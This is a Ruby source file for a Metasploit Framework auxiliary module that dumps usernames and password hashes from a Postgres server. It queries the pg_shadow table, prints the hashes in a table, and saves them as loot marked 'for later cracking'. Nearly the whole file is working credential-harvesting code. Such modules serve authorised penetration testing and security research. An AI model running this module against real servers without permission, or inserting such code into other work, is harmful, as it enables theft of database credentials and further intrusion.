metasploit-framework/modules/auxiliary/scanner/postgres/postgres_hashdump.rb

103 lines
2.6 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Postgres Password Hashdump',
'Version' => '$Revision$',
'Description' => %Q{
This module extracts the usernames and encrypted password
hashes from a Postgres server and stores them for later cracking.
},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options([
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
])
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def run_host(ip)
#Query the Postgres Shadow table for username and password hashes and report them
res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
#Error handling routine here, borrowed heavily from todb
case res.keys[0]
when :conn_error
print_error("A Connection Error occured")
return
when :sql_error
case res[:sql_error]
when /^C42501/
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficent permissions."
return
else
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
return
end
when :complete
print_status("Query appears to have run successfully")
end
this_service = report_service(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:name => 'postgres',
:proto => 'tcp'
)
tbl = Rex::Ui::Text::Table.new(
'Header' => 'Postgres Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
res[:complete].rows.each do |row|
next if row[0].nil? or row[1].nil?
next if row[0].empty? or row[1].empty?
password = row[1]
password.slice!(0,3)
tbl << [row[0], password]
end
print_good("#{tbl.to_s}")
report_hash(tbl.to_csv,this_service)
end
#Reports the Stolen Hashes back to the Database for later cracking
def report_hash(hashtable,service)
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_postgreshashes.txt"
path = store_loot("postgres.hashes", "text/plain", datastore['RHOST'], hashtable, filename, "Postgres Hashes",service)
print_status("Hash Table has been saved: #{path}")
end
end